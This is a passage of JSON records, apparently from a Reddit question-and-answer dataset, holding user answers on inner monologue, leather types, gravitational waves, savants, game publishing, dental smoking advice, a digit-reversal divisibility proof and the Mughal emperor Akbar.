extremely effective, and it has served me well over the years.\n\nTo answer your original question, I think it's more efficient to think without an inner monologue, but using an inner monologue while studying really forces me to focus on details I might gloss over if I'm just thinking normally.", "I can't talk about the why or what, but I can talk a bit about advantage.\n\nEducation research shows that metacognition (thinking about f yyour thinking) improves learning. I'm going to make a big assumption and assume that thinking in an inner monologue means you are more likely to be metacognating than if you aren't thinking in speech. If this assumption is correct, having an inner monologue may improve learning.", "You just reminded me that I can actually remember a point in my childhood when I noticed that I had started to think in words, and tried to decide which way of thinking was best.  I found it a little restrictive and strange.\n\nAdditionally I suspect that in the minds of 'thinking in words' people, language will ultimately affect the thought process.  Orwell touches on this in '1984' with reference to newer editions of the official Newspeak Dictionary having less words than the previous one, and removal of negative words, being replaced by simply prefixing positive ones - 'ungood' rather than 'bad' for example.  I also suspect this is what makes German speaking people predisposed to excel in areas where ambiguity is not beneficial (engineering for example) as the language seems to lean towards there being few ways to express some concepts.", "There's a lot of evidence that complex thought is impossible without language.  For example, until a child learns the word \"before\" they probably don't have any way at all to conceptualize of one event preceding another.\n\nIt seems that all thought, then either engages either the language centers of the brain, or alternately reflexively uses familiar connections in the brain that were originally indexed by the language center of the brain.  By that I mean- you don't think the word \"chair\" every time you see a chair- but you always recognize it- and the concept of a \"chair\" is almost certainly primarily indexed by the language centers.\n\nSo, really, the difference between an internal monologue and more automatic thought would be the degree to which you are activating the language centers of your brain, or merely activating those clusters of neurons that are immediately peripheral to words that are making up the core of the thought.\n\nTo a certain extent you can actually do an exercise in which you can see how the same thought can be accessed in two different ways while remaining substantively identical:\n\nRead this phrase to yourself:\n\n\"I really eating potato chips.  They're very tasty.\"\n\nNow, read the sentence again, but this time as you read it, imagine that it is the voice of your father or mother or a celebrity speaking it.\n\nSo what was the difference?\n\nThe first time you read the sentence, the language centers of your brain lit up. On a brain scan that would be an area somewhere in the left hemisphere of your brain, fairly medial- maybe an inch or two in, back and behind and above your left ear.\n\nThe second time you read it- imagining someone else's voice- those same areas lit up, but additionally, parts of your auditory centers lit up as well- almost exactly as they would if you actually HEARD someone speaking.  (The auditory centers are basically the part of your brain right near your ear where you would expect them to be).\n\nRead the sentence out loud, and you've got a third set of neurons firing- those that control the muscles in your throat, mouth and lungs to form speech.\n\nFor each of those tasks, however, you're probably accessing slightly different clusters of neurons in your language centers.  If you read the sentence and imagine potato chips and how they look and taste and feel, then you've activated one subset of all the neurons involved with potato chips. If you read the sentence and *speak* \"potato chips\" without ever thinking of how those chips look or taste- it's entirely possible that your activating an entire different set of neurons that are closely related to the first set, but entirely unique.\n\nIf you were to put someone in an fMRI machine and ask them to think with and then without an inner monologue, you would be able to point to exactly physical locations in the brain that light up in the first case and not the second.\n\n[credentials: 4 years in neuroimaging research]", "What you are asking is actually related to why ferrel children, who never learn to speak, have problems with complex thought. No internal monologue, because they never learned a language. ", "I actually find myself thinking, but then having to monoloige so I know what I just thought of.\n\nIts a big \"Oh!\" moment, then my brain tries to put that raw idea into words.", "This is I think slightly relevant to a question I asked _URL_0_\n\n", "I think in concepts and not words.  I mainly use words to convey my thoughts to others, so they can better understand what I communicate.  The worded language is incredibly lacking  and basic compared to the concepts I think in.  Very primitive.  Some of my concepts also have sounds I have associated with them.  Hearing a similar sound also triggers the complex thought I had associated with it.  Smells have the same effect.", "I talk to myself quite a bit because I've found that I can keep my thoughts straight much better when I hear them.  ", "TIL I'm not crazy, I just think in inner monologue. Thats a relief."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskReddit/comments/ilq88/just_curious_for_people_that_speak_more_than_one/c24rkgk"], "answers_urls": [[], [], ["http://psychology.unlv.edu/html/hurlburt.html"], [], ["http://www.reddit.com/r/Meditation/comments/ilmfr/what_is_the_most_interesting_experience_youve_had/"], [], [], [], [], [], [], [], [], [], ["http://www.fluther.com/124750/do-we-think-in-words-or-feelings-or-something-else/"], [], [], []]}
{"q_id": "2mlib6", "title": "difference between types of leathers. e.g. tumbled, patent, full-grain, italian, suede, etc.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mlib6/eli5_difference_between_types_of_leathers_eg/", "answers": {"a_id": ["cm5dxd7"], "score": [9], "text": ["Patent leather is smooth and extremely shiny. These days it usually has a plastic coating, but it originally used a linseed oil lacquer.\n\nSuede is what you get when you remove the top layers of the leather. It's matte and fibrous, but softer.\n\nFull-grain leather uses the full thickness of the leather and hasn't been sanded, polished, or buffed.\n\nTop-grain leather removes the lower layer and may have its surface sanded, polished, or buffed to make it look better. It's thinner than full-grain and so more flexible.\n\nTumbled leather is tumbled with small rocks or another fine, weighty abrasive to make it softer and more matte.\n\nItalian leather could be any of these, but made in Italy. It's usually considered to be very high quality.\n\nPleather, leatherette, and naugahyde are all plastics or plastic bonded to cloth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "46r90c", "title": "How is mass converted to the energy of gravitational waves?", "selftext": "In the recently detected waves, three solar masses worth of black hole ... stuff ... was converted into gravitational waves. But any two masses orbiting each other produce waves, even if they're undetectable. Those waves are carrying energy, which apparently comes from a reduction of mass in the system. How does that work? \n\nI'll pick an example: the earth-moon system is radiating gravitational waves at a frequency of about 4 x 10^-7 hertz at some teeny tiny eentsy beentsy wattage. Is the ordinary, non-black-hole-matter mass of the system shrinking by that same wattage? How?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46r90c/how_is_mass_converted_to_the_energy_of/", "answers": {"a_id": ["d07cje7", "d07ebdv", "d07f065", "d07ucmh"], "score": [2, 2, 11, 3], "text": ["i think you are missing that \"mass\" of the whole system as seen from the outside includes binding energy, angular momentum and the likes.\n\nif the system has less binding energy after the event, it has less total mass. that doesn't mean that particles were necessarily expelled from the system and transformed into waves.\n\nif an object of 30M = 30 solar masses has a velocity of 40% of the speed of light, it has  a kinetic energy  alone that is equal to (30Mc\u00b2/sqrt(1-0.4\u00b2) - 30Mc\u00b2) = 2.73 Mc\u00b2  (almost 3 solar masses)", "The mass (energy) of the **bound** system is decreasing, yes. Basically the rotational energy related to orbital angular momentum of the system is being converted  into gravitational radiation.\n\nSee, for example: _URL_0_", "Gravitational waves decrease the kinetic energy of the bodies, not by taking away mass. It's like a ping-pong ball bobbing in a pool of water. Over time, the amplitude of the bobs goes down, corresponding to a loss of energy of the ball (eventually it settles down and stops oscillating). That energy goes into the ripples in the pool.", "The energy of the binary black hole system can be approximated as,  \n\n >  E ~ (m1 + m2)c^(2) - Gm1m2/(2r)\n\nBecause we can estimate the masses m1 and m2 from the gravitational waves before merger, we know the radii of the black holes. This lets us estimate the \"cutoff\" distance r when the merger actually occurs. This gives us,  \n\n >  r ~ 5G(m1+m2)/c^(2)  \n\nNow use this in the above equation. This results in about 2\u20133% of the total massenergy being irradiated away. If we now add GR correction terms, it ends up being closer to 5%.  \n\n* LIGO, Virgo Collab. Properties of the binary black hole merger GW150914. LIGO-P1500218. (2016) _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/PSR_B1913%2B16"], [], ["http://arxiv.org/abs/1602.03840"]]}
{"q_id": "4ypzhz", "title": "what is a savant, and what percentage of the world's population is considered to be savants?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ypzhz/eli5_what_is_a_savant_and_what_percentage_of_the/", "answers": {"a_id": ["d6pk4xu", "d6pqgfd", "d6ptwqe"], "score": [16, 4, 3], "text": ["Typically, people who are considered to be savants excel dramatically at one thing, such as painting or writing. However, they also tend to have difficulties in other important areas, such as social interaction.\nOften, savants have learning disabilities such as Autism Spectrum Disorder.\nA good example of a savant is Daniel Tammet, who is an Autistic Savant - Daniel is able to count pi to over 22.5 thousand decimal points using only his brain.", "I can't find an exact number as far as the over all population with savant syndrome, but the Wisconsin Medical Society posted these statistics in 2013:\n\n- 1 in 10 people with autism have savant skills.\n\n- 1 in 1400 people with mental retardation or  CNS deficits other than autism have savant skills.\n\nI believe one of the more common examples of this is someone who is mentally handicapped, blind, and has an incredible musical talent. ", "The Wisoconsin Medical Society posted the following statistic in 2013 about savant syndrome:\n\n* 1 in 10 people with autism have savant skills.\n\nAccording to the CDC, about 1 in 68 people in the US are born with autism, compared to about 1 in 100 people in the world.\n\nThis means that:\n\n* About 1 in every 680 people in the US are autistic and have savant skills.\n* About 1 in every 1,000 people in the world are autistic and have savant skills.\n\nFurther,\n\n* The US population is about 318.9 million people.\n* The world population is about 7.4 billion people.\n\nWith some basic math, this means:\n\n* About 468,971 people in the US are autistic savants.\n* About 7.4 million people in the world are autistic savants.\n\nAccording to _URL_0_ about half of the of savants are autistic, meaning:\n\n* About 937,941 people in the US are savants.\n* About 14.8 million people in the world are aavants.\n\nAlso interesting to note, people can develop savant abilities from serious head trauma and dementia, but this is a lot more rare. A study done in 2010 supported the idea that about 1 in 10 savants have the Acquired Savant Syndrome discussed above."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://blogs.scientificamerican.com/beautiful-minds/where-do-savant-skills-come-from/"]]}
{"q_id": "auy7pa", "title": "what is the relationship between game developers and publishers?", "selftext": "As I understand it the developer makes the game and the publisher handles distribution and marketing etc. But with most distribution being digital now and almost all marketing happening online, what is the value that a publisher like EA brings to developers like Dice? And what drives the continuation of that relationship? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/auy7pa/eli5_what_is_the_relationship_between_game/", "answers": {"a_id": ["ehba3ij", "ehbgqhw"], "score": [7, 5], "text": ["The relationships differ between companies.\n\nOften it's the publishers who own developers. That's the case with Dice and EA. Dice can't just decide to leave EA because it is a subsidiary of EA.\n\nWhen developers are not owned by a publisher, it is often a publisher who funds development of a game and owns the rights to it.\n\nTake Crackdown 3 for example. That was developed by Sumo, which is an independent company. But Microsoft owns the Crackdown franchise. Essentially Microsoft hired Sumo to make that game for them.\n\nYou're right that these days it's much easier to publish their own games. If a developer can get the funding to develop their own game which they own the rights to, they might publish it themselves.", "Think of publishers and development companies like individual people.\n\nFirst, the publisher is the guy with all the money.\n\nSome developers are what are called \"subsidiaries\". These developers are the publisher's slaves. They can't chose what they work on, and the publisher will keep them fed and housed (paying their employees and power bills) but the publisher gets to keep whatever money (profit) their efforts earn. They cannot chose to go work for another publisher, ever, unless their publisher sells them.\n\nOther developers are \"independent\" or \"3rd party\". Most don't have any savings. If they want to make games, they need a publisher to pay them so they can buy groceries and pay rent. The publisher pays them to do work, and the publisher gets to decide what that work is. Sometimes the developer can suggest to the publisher what they want to work on, but the publisher makes the final call since they're paying for it. The publisher can fire the developer at any time, but the developer is also free to leave and work with other publishers. Whatever work the developer has done (complete game or not) is owned by the publisher though.\n\nThen there are other independent developers who have enough saved up (from previous work for publishers or something) to pay their rent and grocery bills out of that savings for a while while they make a game to sell. The ability to market and distribute digitally has changed things a bit, and some developers chose to avoid traditional marketing and sales and just do digital. Others will go to publishers though, because publishers have *other* employees who know all about marketing and sales, and the developer can't afford the expense of having people of their own to do that since they only need them when the game is done and not while it's mostly in progress."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1jxklk", "title": "why does the dentist (endodontist) encourage me not to smoke before a root canal procedure?", "selftext": "Does it have to do with the smoke itself, or the nicotine? What about Marijuana? \n\nThey prescribed me Halcion (Triazolam) to calm my nerves, does this have to do with the no-smoking rule? \n\nI'm curious.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jxklk/why_does_the_dentist_endodontist_encourage_me_not/", "answers": {"a_id": ["cbj9nyn", "cbjaqb7"], "score": [2, 2], "text": ["I'm guessing that they're probably worried about the nicotine interfering with the anesthetic they're  going to use.\n\nNicotine can affect your heart.  Under normal circumstances the effect is negligible, but it can interfere with other drugs in a dangerous way.", "Tobacco is also a peripheral vasoconstrictor, which means that it makes your outside blood vessels get smaller. This would tend to mess with the surgical procedure; after all, they wouldn't want to put you on more vasoconstrictors so you don't bleed all over during the surgery and inadvertently starve your gums for blood so they die and rot away until all your teeth fall out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4o9p15", "title": "Why is that when you subtract a number from its reverse, the difference is a product of 9?", "selftext": "Same as the title.  Why is it that 41-14 or 52-25 all equal products of 9?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4o9p15/why_is_that_when_you_subtract_a_number_from_its/", "answers": {"a_id": ["d4arukj", "d4aso8u", "d4axzt3", "d4b2n5l", "d4b2un6", "d4b3trf", "d4b49xt", "d4b5rbd", "d4b5v8x", "d4b5xmw", "d4b8cb1", "d4b8w0y", "d4babyn", "d4bayrf", "d4bcx4s", "d4bdgho", "d4bdq1j", "d4be9pz", "d4becty", "d4bgn1z", "d4bhc9l", "d4bid0p", "d4bku68", "d4bmq9w", "d4c3bjz"], "score": [2118, 1121, 5, 59, 4, 27, 5, 4, 3, 3, 2, 3, 2, 4, 2, 2, 2, 7, 2, 2, 2, 2, 8, 2, 4], "text": ["A number is divisible by 9 exactly when its digits sum to a multiple of 9. So 1836 is divisible by 9, 1936 is not. More exactly, a number and the sum of its digits both have the same remainder when we divide by 9. For example:\n\n* 3823 divided by 9 is 424 remainder 7. Also, 3+8+2+3 = 16 divided by 9 is 1 remainder 7\n\n* 92838845 divided by 9 is 10315427 remainder  2. Also, 9+2+8+3+8+8+4+5 = 47 divided by 9 is 5 remainder 2.\n\nSo if I want to know the remainder of a number after dividing by 9, I can just look at the remainder of the sum of its digits. They'll always be the same.\n\nNow, remainders work nice under addition, subtraction and multiplication. If the remainder of N divided by 9 is 3 and the remainder of M divided by 9 is 2, then the remainder of N+M divided by 9 will be 2+3=5. If I add numbers, I can just add remainders. Same thing with subtraction and multiplication. Sometimes you might have to take an additional remainder, but it's good. For example\n\n* The remainder of 40 divided by 9 is 4, and the remainder of 55 divided by 9 is 1. The remainder of 40+55 will be 4+1=5.  So 40+55=95 has remainder 5 after dividing by 9.\n\n* The remainder of 43 after dividing by 9 is 7 and the remainder of 80 after dividing by 9 is 8, so the remainder of 80-43 after dividing by 9 is going to be 8-7=1. In fact, 80-43 = 37, which has remainder 1 after dividing by 9.\n\n* 3823+92838845 will be divisible by 9 because 3823 divided by 9 has remainder 7 and 92838845 divided by 9 has remainder 2. So 3823+92838845 divided by 9 will have remainder 2+7=9. But 9 can't be a remainder, and 9 divided by 9 has remainder 0 so 3823+92838845 will have remainder 0, which means that it is a multiple of 9.\n\nIn particular, if N and M have the same remainder after dividing by 9, then N-M will be divisible by 9. Their remainders are the same, so subtracting them will give remainder zero, which means that it must be divisible by 9.\n\nIf you have a number, then reordering it's digits won't change the remainder after dividing by 9, because this does not change the sum of the digits. The remainder of 435 after dividing by 9 is the same as the remainder of 4+3+5=12, which is 3. The remainder of 354 after dividing by 9  is the same as the remainder of 3+5+4 = 12, which is 3. This means that 435-354 will have remainder 3-3=0, so it is divisible by 9.\n\nSo, because reversing the digits does not change the sum of the digits, the difference will always be divisible by 9.\n\nThe field of math dealing with remainders is [Modular Arithmetic](_URL_0_).\n\nEDIT: It works for 11,22,33 etc and palindromes, 313,2332 etc, because 0=0\\*9, which means zero is a multiple of 9.", "From a mathematical standpoint:  For any N greater than 10 and less than 100, we can write it thusly:\n\n >  N = 10x+y\n\n...and its inverse, ~N as:\n\n >  ~N = 10y+x\n\nYou're asking for the calculation (N-~N).  That can be simplified as below:\n\n >  N-~N = (10x+y) - (10y+x)\n\n >  N-~N = 10x + y - 10y - x\n\n >  N-~N = 9x-9y\n\n >  N-~N = 9(x-y)\n\nSo for any 10 < =N < 100, N-~N will always be divisible by 9\n\nIf we use 41 * 14, we'd have x=4 and y=1:\n\n >  N-~N = (10(4)+1(1)) - (10(1)+1(4))\n\n >  N-~N = 10(4) + 1(1) - 10(1) - 1(4)\n\n >  N-~N = 9(4)-9(1)\n\n >  N-~N = 9(4-1) = 9(3) = 27\n\nSo for any 10 < =N < =100, N-~N will always be divisible by 9", "I hope this makes sense but here's what I did:\n\nIf we use a number like abc where a, b and c are digits then the number can be written thusly for a three digit number:\n\n100a + 10b + c\n\nIn reverse it would be 100c + 10b + a\n\nIf we subtract the two:\n100a + 10b + c - (100c + 10b + a)\n=99a - 99c\n= 9 x 11 ( a-c)\nWe are therefore guaranteed that the resultant of our operation is divisible by both 9 and 11 ( a-c !=0 ).", "Any two digit number can be written as 10x + y. (So 52 = 10*5 + 2). Reversing the number gives you 10y + x. Then:\n\n(10x+y) - (10y+x) = 10x+y - 10y-x\n\n= 10x - x + y - 10y\n\n= 9x - 9y\n\n= 9(x-y)\n\nWhich is divisible by 9 so long as x and y are integers.", "I am showing it for 2 digit numbers. It can be generalized to any number.\n\nConsider a number with digits x and y, with x being the most significant. Note, that x and y are digits appearing in the number. For 43, x=4 and y=3.\n\nSo a 2 digit number can be written as \n(10*x) + y\n\nSubtracting the reverse\n((10*x) + y)) - ((10*y) + x)\n = 10x + y - 10y - x\n= 9x - 9y\n= 9*(x - y)   ...which is divisible by 9", "It has to do with the fact that you are writing the numbers in base 10, and 9 is one less than that.\n\nI'll do a general calculation here, so you see what's going on with N digits. Hopefully you will see the point where our base-10 system comes into play. So, taking something like\n\n     AB...XZ = A*10^N + B*10^N-1 + ... + X*10 + Z\n\nthe reverse would be\n\n     ZX...BA = Z*10^N + X*10^N-1 + ... + B*10 + A\n\nNow let's subtract the bottom number from the top one:\n\n     AB...XZ - ZX...BA =  \n     =   A*10^N + B*10^N-1 + ... + X*10 + Z -  \n       - Z*10^N - X*10^N-1 - ... - B*10 - A\n\nI'm gonna gather up the numbers from the coefficients A and B and ... and X and Z, so that we get\n\n     AB...XZ - ZX...BA =  \n     = A(10^N - 1) + B(10^N-1 - 10) + ... +\n                      + X(10 - 10^N-1) + Z (1 - 10^N)  \n     = A(10^N - 1) + 10 B(10^N-2 - 1) + ...-\n                      - 10 X(10^N-2 - 1) - Z (10^N - 1)  \nwhere I have extracted the lowest common power of 10 from each parenthesis, and switched the signs where we get something negative.\n\nNotice the look of each parenthesis now: They all are of the shape (10^something - 1). You probably know already what happens when you subtract 1 from a number like 100000...0000; You get lots of nines! Like 9999...999. So,\n\n     AB...XZ - ZX...BA =  \n     = A(99..N-1..99) + 10*B(99..N-2..99) + ... -\n                  - 10*X(99..N-2..99) - Z(99..N-1..99)  \n     = 9*A(11..N-1..11) + 90*B(11..N-2..11) + ... -\n                  - 90*X(11..N-2..11) - 9*Z(11..N-1..11) \n\nWe can now take all of this and place parentheses around, and then extract a number 9:\n\n     AB...XZ - ZX...BA =  \n     = 9 [ A(11..N..11) + 10 B(11..N-2..11) + ... -\n                  - 10 X(11..N-2..11) -  Z (11..N..11) ]  \nand you can therefore see that the number will be divisible by 9, since all the stuff inside the parenthesis are integers.\n\nIf this was done in, say, base-4, we would not get 999...999 inside the different parenthesis, but 333...333 instead. But because we wrote the number in base-10 as AB...XZ, and then subtracted the mirror image, the result is a 9-divisible number!", "Late to the game and I see many have answers already. I just want to point out that you can even easily calculate the # of 9's there are from this difference (being second digit minus first digit):\n\n10x + y  - 10y - x = 9z\n\n9z = 9x - 9y\n\nz = x - y\n\nExample: 53 - 35 - >  z = 5-3 = 2 - >  The difference of 53 and 35 is two 9's.", "It comes down to the fact that the numbers 10-1, 100-1, 1000-1, ... are all divisible by 9. In other words, 10^n - 1 is divisible by 9 for any n > 0.\n\nNote this implies numbers of the form 10^n - 10^m, e.g. 1000-10, 1000-100, 10-100, 100000-1000, etc. are also all divisible by 9. That's because they're just 10(100-1), 100(10-1), 10(1-10), 1000(100-1), etc. \n\nNext, observe that if x is some digit, then *x0000 - x00* is again divisible by 9, because it's just *x* times *100(100-1)*. Same with *x000-x00*, *x0-x000*, *x00-x*, etc.\n\nNow suppose you have a number whose digits are *abcdef*. Then\n\n*abcdef- fedcba = (a00000 - a) + (b0000-b0) + (c000 - c00) + (d00-d000) + (e0-e0000) + (f - f00000)*\n\nWe saw that the terms in each pair of brackets on the right are divisible by 9, so the whole sum is also. The same works for any number of digits.", "A number is divisible by 9 if and only if the sum of its digits is divisible by 9. So if we have a number n, and if we call s the sum of its digits, then \n\nn mod 9 = 0 if and only if s mod 9 = 0.\n\nNow lets take two numbers n and m, with sums of digits s and t respectively. Then \n\n(n-m) mod 9 = 0 if and only if (s-t) mod 9 = 0.\n\nBut in the special case where n and m are the reverse of each other, the sums of their digits are the same: s = t. Therefore \n\n(s-t) mod 9 = 0, which means that (n-m) mod 9 = 0.", "Fun fact: when doing manual arithmetic, a difference of 9 between two results that are supposed to be the same is indicative of a transposed number (e.g. 38 written erroneously as 83). This was a trick used in accounting before we had computers (e.g. debits always equal credits, and when they're off by 9 there was likely a transposition)", "Flop any number from it's original and the difference is always divisible by 9.  (Good way to find an error when adding lists of numbers.  Example  348  transposed to 384.  The difference is 36/9.  Transpose again  348 transposed to 834.  The difference is 486 / 9 again.  If you error is divisible by 9 you will have a transposition error.", "Another way to see this is if you write it as ones, tens, hundreds. For example, 41=10+10+10+10+1 and 14=10+1+1+1+1. Then replace each 10 with 9+1, each 100 with 99+1, and so on.\n\nYou'll get the same number of 1s in each case (because the sum of the digits is the same), and you can factor out a 9 from the remaining numbers.\n\nExample: 401-104\n\n=(100+100+100+100+1)-(100+1+1+1+1)\n\n=(99+99+99+99+1+1+1+1+1)-(99+1+1+1+1+1)\n\n=(99+99+99+99)-(99)\n\nwhich is 9 times (11+11+11+11)-(11)", "Numbers can be written like the sums of their digits times the place of the digits. Like the number AB can be written as 10*A+B. BA is 10*B+A. Now when you subtract one from the other you get either 9A-9B or 9B-9A. Which are both products of 9. ", "Time too answer is good, but it's coming at it from a direction I feel isn't the easiest to understand.\n\nLet's take 321 as a basic example.  We want to subtract 321 - 123 and know if it's divisible by 9.\n\nWe could do a number of things to verify the remainder of each number, add them together, etc. But instead, let's just look at the two numbers in front of us and break them down, literally.\n\n321 = 300 + 20 + 1  \n123 = 100 + 20 + 3\n\nLet's reverse the lower number.\n\n321 = 300 + 20 + 1  \n123 = 3 + 20 + 100\n\nNow let's subtract the second row from the first, but we take it one column at a time:\n\n(300 - 3) + (20 - 20) + (1 - 100)\n\nIf you have an odd number of digits, then the middle will cancel itself out, like we see here.  Since 20 - 20 = 0, we no longer need it in the equation.\n\nNow 300 - 3 is just 3x (100 - 1).  In other words:\n\n321 - 123 = 3\\*99 - 1\\*99\n\nAll of your chunks here will be some number multiplied by 9, 99, 999, etc .  This holds true for any number, since you can always  rearrange the columns to match the original digits.\n\nAnd since it's plain to see 9999... is a multiple of 9, any number minus it's reverse will be a multiple of 9.", "It's not just reversals. An old Accountant's bit of wisdom - if you add up two columns of numbers and they're supposed to be the same but you get a difference that's divisible by 9 - you've transposed two digits.", "A number is a sum of powers of ten times its digits. So if the digits are a and b, the number is 10a + b. Reverse the digits you get 10b + a. Subtract one from the other and you get 10a + b - 10b - a, which is 9a - 9b or 9(a-b). So for every a and b, the result of this formula has a factor of 9 in it. Doing it for bigger numbers results in the same situation. 100a + 10b + c - 100c - 10b - a = 99(a-c). And so on. No matter how long the number is, you are subtracting numbers that are in ratios by powers of 10, leaving multiples of 9.", "Formally:\nObserve that 10 === 1 mod 9, and so 10^m === 1 mod 9\n\nFor any natural number x, we have\nx = a*10^n + b*10^(n-1) + ... + Z\n=== a + b + ... Z mod 9, since all the 10^m parts \"become 1\"\n\nThen we have \na + b + ... Z = Z + ... + b + a\n=== Z*10^n + ... b*10 + a mod 9\n= reverse(x)\n\nAnd so x === reverse(x) mod 9\nhence x - reverse(x) === 0 mod 9, which means 9 is a factor of x - reverse(x). QED.", "I know I'm a bit late but\n\nLet the two distinct digits that appear be a and b, where a > b\n\nHence the bigger number will be 10a+b and the smaller one will be 10b+a.\n\nSince we know a > b > =0,\nWe also know 10a+b > 10b+a.\n\nThe difference is\n\n(10a+b)-(10b+a)\n=9a-9b\n=9(a-b)\n\nSince a and b are both positive whole numbers, and a > b, a-b is an integer.\n\nThus the difference, 9(a-b), is a multiple of 9", "You can take it further and calculate what the answer will be by multiplying 9 by the difference between the two digits. \n\n9 * (tens digit - ones digit)\n\ne.g. 52 - 25 \n\n = 9 * (5 - 2)\n\n = 9 * 3\n\n = 27\n\nThis will work for all two-digit numbers.\n\n86 - 68 = 9 * 2 = 18", "Here is an answer that might use some more technical jargon than the others. Anyone here fammiliar with modular arithmetic?\n\nIn modular arithmetic, you say two numbers are 'congruent mod n' (in a way, equivalent) if their remainder by n is the same (where n is an integer).\n\nFor example, let's say we're working mod 4. Then 5 is congruent with 1, and any multiple of four is congruent with 0. See if you understand why.  \nCongruence behaves well in regards to addition and multiplication, so you can add and multiply things without much trouble. For example, a fact that we will use soon is that we have, mod a: (a+1)^k == 1^k == 1, and we got this result without doing any actual powers (except of 1) just by knowing a+1 == 1 mod a\n\nHow does this apply to our case? Well, all we need to do is use mod 9. Any number in base 10 can be represented as:\n\na + 10b + 100c + ... + 10^n z\n\nThat is, as a sum of powers of ten. Well, ten is congruent with one mod 9, so it is all congruent with:\n\na+b+c+...+z\n\nThis also gives us a nice justification for why a number is divisible by nine iff the sum of its digits is divisible by nine.\n\nNow, take this number and subtract it by any permutation of its digits. Mod 9, what do you get? Zero, because the two numbers are the same (mod 9, because addition is commutative).\n\nThese permutations also include a reversal, the result you desired.\n\nHowever, with modular arithmetic, it was easy to generalize to whatever combinations you decide to use: as long as two numbers use the same digits the same number of times (you can include trailing zeros), their difference mod 9 will be zero, and as such it will be divisible by 9.", "It's \"simple\" really. You know the trick where you can add the digits together to see if a number is divisible by 9? The reason that works is because when you are adding the digits what you are actually doing is calculating the remainder of the number when you divide it by 9. So by reversing the digits you aren't changing the remainder and when you perform the subtraction the reminders cancel out and you are left with a multiple of nine.\n\nWhat's interesting about this is that you can actually rearrange the digits however you like before you perform the subtraction and you will still end up with a multiple of nine.\n\nfor example: 71426 - 46712 = 24714 = 2746 x 9\n\n \n\nTL;DR: It works because we use a base ten number system and 10=9+1.", "To test if you really understood this, realize that any permutation(or re-orderings) of the digits will do this, not just the reverse, for example:\n\n* 8752-7528 = 1124 = 9x136\n* 711 - 171 = 540 = 9x60\n* 391421 - 112349 = 279072 = 9x31008\n\n ", "imagine a 3 digit number abc. That would work out to 100a+20b+c.\n\nthe reverse would be 100c+20b+a.\n\nsubracting them -\n\n(100c-c) + (20b-20b) + (100a-a)\n\nor\n\n99c +0 +99a\n\nor 99(a+c)\n\nthat is clearly going to be divisible by 9 no matter what digits are used, and the same scheme can be applied to any number of digits.", "In short: because we are base 10. I'm not positive but the trend should remain the same for other bases. For instance base 2 should be 1 so 10-01 = 01. It's to early for me to try and think in other non 10 bases. ", "Let x be the first digit of the first number and y the second digit. e.g. for 41 x = 4 and y = 1.\n\n(10x + y) - (10y + x)\n\n9x - 9y\n\n9(x - y)\n\nIt will always be divisible by 9. Specifically, it will be the product of 9 and the difference of the two digits."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Modular_arithmetic"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7pd5p9", "title": "What makes the Mughal king Akbar, great?", "selftext": "What I'm asking is if there are things he did in his reign that we can say would qualify him to be considered as one of the best rulers history of South Asia has seen?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7pd5p9/what_makes_the_mughal_king_akbar_great/", "answers": {"a_id": ["dshzqkh"], "score": [4], "text": ["The Mughals have a complicated history in India and Pakistan, but for starters, they were the first to unify the entire subcontinent since A\u015boka (incidentally, A\u015boka is also called \"the Great\", although he was even less humble calling himself \"Priyadasi Devanampriya\" meaning \"He who looks with love, the beloved of the gods\"), although A\u015boka probably ruled more. While Akbar didn't rule nearly as much as his grandson, he ruled about the same territory as the Guptas at their height and made sure people knew it, greatly expanding the empire of Babar. Akbar's conquest and consolidation of his predecessors' rule would be enough for some to call him the Great, but it isn't exactly why.\n\nThis isn't to say that his Military prowess didn't play any part of it, of course it did.  His organization of his military allowed him to easily conquer what his predecessors couldn't and maintain order.  His implementation of canons and firearms created an unstoppable force, unheard of outside of the Ottomans.  The devastating firepower afforded by his weapons and simple training made his army both large and powerful.  In addition to his, he did not throw away the tactics of previous Indian rulers all together, continuing the use of horses and elephants that were part of Indian tactics since ancient times.\n\nAkbar was a Muslim, like all Mughal kings, but unlike his predecessors, he was extremely tolerant of the local religions and is known for ending iconoclasm in Northern India.  Not only this, but he promoted translations of the Hindu epics into Persian as well as works of philosophy.  He ruled over an empire with vast ethno-linguistic-religious differences and took advantages of that by keeping a diverse administration that included Muslims of both sects, as well as Hindus and Jains which placated the local populace.  He engaged and organized a great many philisophical discussions between all sects in his empire and promoted learning from one another.\n\nHis position of religious tolerance went well beyond what hardly any previous ruler had done, even in India.  Akbar actively encouraged religious syncretization and himself celebrated Hindu (and Jain) holidays and followed some customs.  Increasingly during his life, he promoted the idea that Hinduism and Islam were the same religion at heart following an extreme variation of Shia Sufi mysticism.  Indeed Sufism saw many of it's greatest works under his patronage, with a number of philosophical texts, songs, and poetry created at his request and under his patronage.   His promotion of the Bhakti movement among Hindus (along with earlier Vai\u1e63navists who were moving towards monotheism) led to enormous growth of Monistic Hinduism and indeed have shaped modern Hinduism as a whole.\n\nUnder Akbar, India entered a sort of artistic golden age. Akbar's patronage of the arts led to not only translations of epics, but illustrated editions, works of art celebrating both Hindu gods and Muslim saints.  Large temples and mosques were built under him and sculpture entered a new period fusing Persian, Indian, and Turkish styles reflecting the diversity of his empire.  Artwork from this period is recognizable for it's distinct blend of those cultures as well and many of the icons you see today date to the Mughal period.  This is to say nothing of the immense volumes of poetry and songs 